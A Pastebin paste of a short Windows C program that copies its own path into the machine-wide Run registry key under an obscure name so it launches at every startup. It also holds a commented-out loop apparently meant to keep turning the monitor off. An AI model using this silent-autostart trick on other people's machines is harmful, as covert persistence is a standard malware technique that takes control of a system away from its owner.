Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #define _WIN32_WINNT 0x0501
- #define SUBKEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
- #define VALUENAME "Mawdioh"
- #include <windows.h>
- int main(int argc, char* args[])
- {
- HKEY subkey;
- HWND hWnd;
- char szFullName[MAX_PATH];
- int l;
- if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, SUBKEY, 0, KEY_SET_VALUE, &subkey) != ERROR_SUCCESS)
- {
- return 1;
- }
- if(GetModuleFileName(0, szFullName, MAX_PATH) == 0)
- {
- return 2;
- }
- l = strlen(szFullName) + 1;
- if(RegSetValueEx(subkey, VALUENAME, 0, REG_SZ, szFullName, l) != ERROR_SUCCESS)
- {
- return 3;
- }
- if(RegCloseKey(subkey) != ERROR_SUCCESS)
- {
- return 4;
- }
- return 0;
- /*
- for(;;)
- {
- hWnd = GetConsoleWindow();
- SendMessage(hWnd, 0x0122, 0x0F170, 2);
- }
- */
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement